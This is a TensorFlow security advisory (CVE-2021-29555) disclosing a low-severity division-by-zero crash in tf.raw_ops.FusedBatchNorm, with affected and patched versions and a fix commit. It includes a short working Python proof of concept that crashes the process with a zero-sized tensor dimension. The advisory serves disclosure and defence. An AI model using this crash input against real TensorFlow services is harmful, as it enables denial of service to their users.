Division by 0 in `FusedBatchNorm`

Low **mihaimaruseac** published **GHSA-r35g-4525-29fq** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:

```
import tensorflow as tf

x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
    x=x, scale=scale, offset=offset, mean=mean,
    variance=variance, epsilon=epsilon,
    exponential_avg_factor=exponential_avg_factor,
    data_format=data_format, is_training=is_training)
```

This is because the implementation performs a division based on the last dimension of the `x` tensor:

```
const int depth = x.dimension(3);
const int rest_size = size / depth;
```

Since this is controlled by the user, an attacker can trigger a denial of service.

Patches

We have patched the issue in GitHub commit 1a2a87229d1d61e23a39373777c056161eb4084d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29555

Weaknesses

No CWEs